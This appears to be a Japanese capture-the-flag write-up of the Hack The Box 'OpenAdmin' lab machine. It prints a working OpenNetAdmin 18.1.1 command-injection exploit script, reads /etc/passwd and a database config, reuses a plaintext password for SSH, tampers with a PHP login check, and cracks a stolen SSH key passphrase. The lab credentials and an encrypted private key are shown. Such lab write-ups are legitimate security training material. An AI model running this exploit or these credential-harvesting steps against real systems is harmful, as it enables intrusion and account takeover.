f:id:kyonta1022:20200514220101p:plain f:id:kyonta1022:20200514220141p:plain

Machineの概要を見てみると、Enumeration/CVE/CTF-Like が必要とされている。
どれだけ網羅的にスキャンできて、稼働しているサービスの脆弱性を発見できるかと、CTFライクな競技スキルが問われる。

偵察

Nmap Scan

一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。

# nmap -A 10.10.10.171
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-27 02:29 JST
Nmap scan report for 10.10.10.171
Host is up (0.18s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/27%OT=22%CT=1%CU=30443%PV=Y%DS=2%DC=T%G=Y%TM=5E56AB4
OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%TS=C)SEQ(SP=1
OS:05%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   246.65 ms 10.10.14.1
2   246.79 ms 10.10.10.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.67 seconds

脆弱性情報検索

GoogleApache 2.4.29 exploit で検索をかけて、リモートコード実行の脆弱性があるか調べる。一通り目を通したが、それらしき脆弱性は見当たらないので、CVE Detailsにて 2.4.29脆弱性一覧を眺めてみる。

一覧に CVSS7.2 の ExecCode が存在しているので、CVE番号で実行可能条件などの詳細情報を調べてみる。

この脆弱性Apache HTTP Server が再起動を行う際に、子プロセスの境界値チェックが行われていないことにより発生します。これにより、システム上で権限昇格を行うことが可能となります。 攻撃者がこの脆弱性を利用するためには、システムへの有効なログオン情報が必要になります。
https://www.softbanktech.co.jp/special/cve/2019/0001/
https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php

今回は使えなそう。

OpenSSH 7.6p1 はどうだろうか。
- CVE Details Openssh-7.6

こちらもダメそう。

公開ページの調査

http://10.10.10.171/ f:id:kyonta1022:20200514220443p:plain

公開ページのTOPを見てみるが、デフォルトページが出ているだけで何もなさそう。
他にあるだろ?と言うことで、DirBusterを使って公開ページやディレクトリを調べてみる。

f:id:kyonta1022:20200514220505p:plain

すると、気になるページがちらほら出てきたので、アクセスしてみる。

f:id:kyonta1022:20200514220522p:plain

f:id:kyonta1022:20200514220536p:plain

OpenNetAdminとは、IPネットワークのインベントリを管理するデータベースを提供してくれるソフトウェア。
http://opennetadmin.com/

で、このOpenNetAdminを調べてみると v18.1.1 には Command Injection Exploit脆弱性があるらしい。

侵入

OpenNetAdmin-18.1.1 Exploit

packetstormから攻撃用コードをダウンロードする。

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

エクスプロイト実行

# sh open-admin-exploit.sh

ボッティング

www-data

すんなり侵入することができたので、まずは自分が何者で、今居る場所やホームディレクトリについての情報を収集する。

$ pwd
/opt/ona/www


$ ls -al
total 72
drwxrwxr-x 10 www-data www-data 4096 Nov 22 17:17 .
drwxr-x---  7 www-data www-data 4096 Nov 21 18:23 ..
-rw-rw-r--  1 www-data www-data 1970 Jan  3  2018 .htaccess.example
drwxrwxr-x  2 www-data www-data 4096 Jan  3  2018 config
-rw-rw-r--  1 www-data www-data 1949 Jan  3  2018 config_dnld.php
-rw-rw-r--  1 www-data www-data 4160 Jan  3  2018 dcm.php
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 images
drwxrwxr-x  9 www-data www-data 4096 Jan  3  2018 include
-rw-rw-r--  1 www-data www-data 1999 Jan  3  2018 index.php
drwxrwxr-x  5 www-data www-data 4096 Jan  3  2018 local
-rw-rw-r--  1 www-data www-data 4526 Jan  3  2018 login.php
-rw-rw-r--  1 www-data www-data 1106 Jan  3  2018 logout.php
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 modules
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 plugins
drwxrwxr-x  2 www-data www-data 4096 Jan  3  2018 winc
drwxrwxr-x  3 www-data www-data 4096 Jan  3  2018 workspace_plugins

ユーザ情報を確認する

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

passwdファイル確認

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

groupファイル確認

$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-network:x:102:
systemd-resolve:x:103:
input:x:104:
crontab:x:105:
syslog:x:106:
messagebus:x:107:
lxd:x:108:
mlocate:x:109:
uuidd:x:110:
ssh:x:111:
landscape:x:112:
jimmy:x:1000:
ssl-cert:x:113:
mysql:x:114:
joanna:x:1001:
internal:x:1002:jimmy,joanna
netdev:x:115:

ホームディレクトリを確認する

$ ls -al /var/www
total 16
drwxr-xr-x  4 root     root     4096 Nov 22 18:15 .
drwxr-xr-x 14 root     root     4096 Nov 21 14:08 ..
drwxr-xr-x  6 www-data www-data 4096 Nov 22 15:59 html
drwxrwx---  2 jimmy    internal 4096 Nov 23 17:43 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21 16:07 ona -> /opt/ona/www

雰囲気でふむふむしつつ、www-dataはWEB公開用のユーザだから権限が弱く、できることが少なそうなので強権限のユーザを探す。 (たまに、rootユーザでhttpdを起動する事例を見かけるが、こう言う攻撃をしてみると改めて恐ろしいなと思う・・) ここからは、閲覧権限のあるディレクトリを地道に調査していく。中々泥臭く骨の折れる作業。 慣れないときは、ここで挫折することが多々あった。

ホームディレクトリ配下の html ディレクトリを探索。特に情報なし。

$ find /var/www/html   

最初に降り立ったディレクトリを探索してみる。

$ find .
./local/config/database_settings.inc.php
...

何やら心躍る名前のファイルを発見したので、中身を見てみる。

$ cat ./local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

データベースの接続先情報が丸見えになっている。DBはMySQLなので、クライアントからアクセスしてみる。

$ MYSQL_PWD=n1nj4W4rri0R! mysql -h localhost -u ona_sys ona_default -e "select TABLE_NAME from INFORMATION_SCHEMA.TABLES;"
TABLE_NAME
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
blocks
configuration_types
configurations
custom_attribute_types
custom_attributes
dcm_module_list
device_types
devices
dhcp_failover_groups
dhcp_option_entries
dhcp_options
dhcp_pools
dhcp_server_subnets
dns
dns_server_domains
dns_views
domains
group_assignments
groups
host_roles
hosts
interface_clusters
interfaces
locations
manufacturers
messages
models
ona_logs
permission_assignments
permissions
roles
sequences
sessions
subnet_types
subnets
sys_config
tags
users
vlan_campuses
vlans

テーブル一覧の中で users テーブルの存在が気になるのでSELECTする。

$ MYSQL_PWD=n1nj4W4rri0R! mysql -h localhost -u ona_sys ona_default -e "select * from users"$ $ 
id  username    password    level   ctime   atime
1   guest   098f6bcd4621d373cade4e832627b4f6    0   2020-02-28 05:19:51 2020-02-28 05:19:51
2   admin   21232f297a57a5a743894a0e4a801fc3    0   2007-10-30 03:00:17 2007-12-02 22:10:26

パスワードはハッシュ化されているので、すぐに利用できる情報ではなさそうだ。一旦諦める。 (平文のまま保管してセキュリティ事故に繋がる事例もあるが、ここは違うらしい)

そいえばホームディレクトリに internal とかいうディレクトリがあったのを思い出した。
後述するが、このディレクトリ内には如何にもCTFチックな、あるユーザの秘密鍵が見れるようなPHPファイルが存在している。
jimmy権限のディレクトリだが、データベースの接続先以上の情報が見つけられなかったので、ダメもとでパスワードを流用してみる。

root@kali-linux:~/sandbox# ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: n1nj4W4rri0R!
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Feb 28 05:24:50 UTC 2020

  System load:  0.1               Processes:             125
  Usage of /:   50.5% of 7.81GB   Users logged in:       1
  Memory usage: 30%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan  2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$ 

奇跡的にログインできた。 (パスワードの流用は危険ですね)

jimmy

jimmyの情報を確認する

jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

何かroot権限で実行できるかと思ったが何もできなそう。

jimmy@openadmin:~$ sudo -l
[sudo] password for jimmy: 

internalディレクトリに移動する。

jimmy@openadmin:/$ cd /var/www/internal/
jimmy@openadmin:/var/www/internal$ ls -al
total 20
drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 .
drwxr-xr-x 4 root  root     4096 Nov 22 18:15 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 index.php
-rwxrwxr-x 1 jimmy internal  185 Nov 23 16:37 logout.php
-rwxrwxr-x 1 jimmy internal  339 Nov 23 17:40 main.php

PHPファイルを開く。

$ cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
$ cat index.php 
<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

これらのPHPファイルが意味することは、index.php にて正しいユーザ名とパスワードを入力すると、セッションに情報を保持するのでその足で main.php を見にいくと joanna秘密鍵が手に入りますよと言うことらしい。実にCTFチック。

ポートスキャンをかけたときは80番ポート意外空いてなかったけど、ファイアウォールでブロックしているのだろうか。
名前も internal だし。確認するためにApache2の設定を確認する。

jimmy@openadmin:/var/www/internal$ cd /etc/apache2/
jimmy@openadmin:/etc/apache2$ ls -al
total 88
drwxr-xr-x  8 root root  4096 Nov 21 14:08 .
drwxr-xr-x 93 root root  4096 Jan  2 13:46 ..
-rw-r--r--  1 root root  7224 Sep 16 12:58 apache2.conf
drwxr-xr-x  2 root root  4096 Nov 21 14:08 conf-available
drwxr-xr-x  2 root root  4096 Nov 21 14:08 conf-enabled
-rw-r--r--  1 root root  1782 Jul 16  2019 envvars
-rw-r--r--  1 root root 31063 Jul 16  2019 magic
drwxr-xr-x  2 root root 12288 Nov 22 22:32 mods-available
drwxr-xr-x  2 root root  4096 Nov 22 22:32 mods-enabled
-rw-r--r--  1 root root   320 Jul 16  2019 ports.conf
drwxr-xr-x  2 root root  4096 Nov 23 17:13 sites-available
drwxr-xr-x  2 root root  4096 Nov 22 18:35 sites-enabled

VirtualHostの設定を確認する。

jimmy@openadmin:/etc/apache2$ cd sites-available/
jimmy@openadmin:/etc/apache2/sites-available$ ls
default-ssl.conf  internal.conf  openadmin.conf
jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf 
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

127.0.0.1:52846のアクセスは internalに飛ばすようだ。

jimmy@openadmin:/etc/apache2/sites-available$ cat openadmin.conf 
<VirtualHost *:80>
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.
    ServerName openadmin.htb

    ServerAdmin jimmy@openadmin.htb
    DocumentRoot /var/www/html

    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

80番ポートの方は、普通に html ディレクトリに飛ばす。

自ホストからアクセスできることをcurlで確認。

$ curl http://127.0.0.1:52846/index.php 

問題なさそうなので、必要な情報を設定してPOSTする。

jimmy@openadmin:~$ curl -i -X POST -d "login=1&username=jimmy&password=n1nj4W4rri0R!" http://127.0.0.1:52846/index.php 

HTTP/1.1 200 OK
Date: Fri, 28 Feb 2020 07:43:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=tlg1egl4mepng6dgal76pnveog; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2546
Content-Type: text/html; charset=UTF-8


<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
                </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "/index.php" method = "post">
            <h4 class = "form-signin-heading">Wrong username or password.</h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

Wrong username or password. で失敗する。パスワードが違うのだろうか。
何回か試してみたけどダメだったが、冷静に考えてみると権限的にPHPファイルを編集できるので、以下のように書き換えてしまう。

if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == 
---
if ($_POST['username'] == 'jimmy' || hash('sha512',$_POST['password']) == 

もう一度投げる

jimmy@openadmin:/var/www/internal$ curl -i -X POST -d "login=1&username=jimmy&password=n1nj4W4rri0R!" http://127.0.0.1:52846/index.php 
HTTP/1.1 302 Found
Date: Fri, 28 Feb 2020 07:45:17 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=ggoqfum2pn6riaj0c7s0a3lu1d; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /main.php
Content-Length: 2519
Content-Type: text/html; charset=UTF-8

Location: /main.phpがセットされている。成功した模様。
本丸のmain.phpにGETリクエストを投げる。

jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

無事秘密鍵が取得できたので、<pre>の中身をファイルに保存してsshしてみる。

joanna

# ssh -i joanna.id_rsa joanna@10.10.10.171
Enter passphrase for key 'joanna.id_rsa': 

パスフレーズが必要でした。
SecListsrockyou.txtを使ってJohn the Ripperで解析する。
John秘密鍵パスフレーズを解析させる場合は、ssh2johnでハッシュ化しとく必要があるので、ダウンロードしとく。

# python ssh2john.py joanna.id_rsa > joanna.id_rsa.hash
# john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt joanna.id_rsa.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.id_rsa)
Warning: Only 1 candidates left, minimum 2 needed for performance.
